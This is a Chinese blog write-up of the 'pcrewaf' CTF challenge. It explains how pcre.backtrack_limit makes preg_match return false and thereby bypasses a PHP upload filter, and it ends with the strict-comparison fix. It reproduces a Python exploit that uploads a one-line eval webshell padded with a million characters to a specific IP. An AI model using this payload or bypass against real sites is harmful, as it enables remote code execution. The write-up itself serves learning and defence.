首页 > 编程语言 >php的pcre使用的NFA引擎可利用pcre.backtrack_limit(最大回溯次数)返回false绕过

php的pcre使用的NFA引擎可利用pcre.backtrack_limit(最大回溯次数)返回false绕过

时间:2023-03-06 23:58:36浏览次数:36  
标签:pcre FILES false name NFA 文件 file php 上传

看P神的文章,学习web安全知识的前沿技术栈和各种tricks,这真是一个充满乐趣的过程。

这是code breaking上的第二题:pcrewaf

首先先回顾一下php文件上传的相关代码:

前端form表单:
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
后端php代码:
<?php
...... echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>"; // 判断当前目录下的 upload 目录是否存在该文件 // 如果没有 upload 目录,你需要创建它,upload 目录权限为 777 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " 文件已经存在。 "; } else { // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "文件存储在: " . "upload/" . $_FILES["file"]["name"]; ...... ?>

 

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name,第二个下标可以是 "name", "type", "size", "tmp_name" 或 "error"。就像这样:

  • $_FILES["file"]["name"] - 被上传文件的名称
  • $_FILES["file"]["type"] - 被上传文件的类型
  • $_FILES["file"]["size"] - 被上传文件的大小,以字节计
  • $_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称
  • $_FILES["file"]["error"] - 由文件上传导致的错误代码

看一下这道题的源码:

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

分析一下正则:<?(任意字符)[里面的字符任意一个字符](任意字符)
目录分析:创建了目录:data/MD5/randomint.php

解法就是像这个php脚本上传一个php文件,或者说上传一个文件马进行RCE,核心问题就是绕过源码中的is_php()函数。

如何绕过呢?

先放上P神的博客上写的官方解释:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

我的思考:php使用的PCRE库使用NFA作为正则引擎,源码中的正则表达式是:

/<\?.*[(`;?>].*/

 第一处出现的  .* 导致了可以在输入了<?后再跟着输入超长字符串,这个 .* 会直接匹配到超长字符串的结束,然而这个 .* 后面还有内容,所以正则引擎并没有匹配完,接下来他要一个慢慢地、一个字符一个字符地回溯。如果php不设置个最大回溯次数,这里传入超长的辅助穿,就能造成reDOS,所以php设置了pcre.backtrack_limit,并且规定如果回溯次数超过了pcre.backtrack_limit,preg_match()的结果直接返回一个false,而题目中的源码判断条件是

function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

 

返回了一个false,肯定不是return 1了,就绕过了。

贴一下p神的python上传文件的脚本:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

 

如何防范攻击者利用最大回溯次数这种方法绕过正则呢?

答案藏在php源码里:https://www.php.net/manual/en/function.preg-match

preg_match()函数的返回值有三种,匹配到了return 1,没匹配到return 0,有错误发生(超过了最大回溯次数)返回false。

修改方式就是判断is_php()函数的返回值是否为0,不能用题目源码中的

if (is_php($data)) {
    echo "bad request";
} 

修改为全等号判断是否为0:

if(is_php($input) === 0) {
    // fwrite($f, $input); ...
}

这样就算返回了false,也不会进入if语句中。

 

 

 

 

 

 

标签:pcre,FILES,false,name,NFA,文件,file,php,上传
From: https://www.cnblogs.com/hackerone/p/17185968.html

相关文章

  • ApplicationContext和BeanFactory
    ApplicationContext和BeanFactoryBeanFactoryBeanFactory是spring的IOC容器的核心,Spring使用BeanFactory来实例化、配置和管理Bean。常用的BeanFactory核心实现有:D......
  • spring中BeanFactory和FactoryBean
    spring中BeanFactory和FactoryBeanBeanFactoryBeanFactory是spring的IOC容器中的核心接口,是负责生产和管理bean的一个工厂。主要职责是:实例化、定位、配置应用程序中的......
  • x为False却不执行if x is False?numpy.bool_的坑!
    话不多说,上代码:is_best=prec>best_precifis_bestisFalse:ifepoch-best_ep>30:return乍一看,EarlyStopping丐版实现嘛。但是实际运行的时候,is......
  • 【Spring】BeanFactory
    (181条消息)BeanFactory简单介绍_Lin_Dong_Tian的博客-CSDN博客_beanfactory 一、 BeanFactoryBeanFactory,以Factory结尾,表示它是一个工厂类(接口), 它负责生产......
  • 【Spring】BeanFactory和FactoryBean有哪些区别
      区别说实话,他俩除了名字比较像以外,好像没有其他共同点了。「BeanFactory和FactoryBean有哪些区别?」BeanFactory是一个最基础的IOC容器,提供了依赖查找,依......
  • 2023-02-13 Set `"volar.inlayHints.eventArgumentInInlineHandlers": false` to hide
    Set`"volar.inlayHints.eventArgumentInInlineHandlers":false`tohideEventArgumentinInlineHandlers.设置`“volar.inlayHints.eventArgumentInInlineHandlers......
  • ValueError: Object arrays cannot be loaded when allow_pickle=False
    问题展示:因为numpy在升级后将np.load()参数allow_pickle默认改为False。有两种解决方案:方法1:降低版本,降到1.16.3以下:先卸载当前的numpy,再下载指定版本的numpypipuninstall......
  • SpringBoot-使用链接字符串动态创建SqlSessionFactory执行任意SQL脚本
    SpringBoot-使用链接字符串动态创建SqlSessionFactory执行任意SQL脚本引言SpringBoot大大减少了使用XML配置的复杂性,但是想通过代码去实例化一个对象有点儿无从下手的感觉。......
  • ios::sync_with_stdio(false)
    ios::sync_with_stdio(false)在C++中的输入和输出有两种方式,一种是scanf和printf另一种是cin和cout,在#include<bits/stdc++.h>这个万能头文件下,这两种方式是可以互换的......
  • NFA确定化为DFA 并最小化DFA
    把NFA确定化为DFA的算法实现1)转换思路由非确定的有限自动机出发构造与之等价的确定的有限自动机的办法是确定的有限自动机的状态对应于非确定的有限自动机的状态集合,即......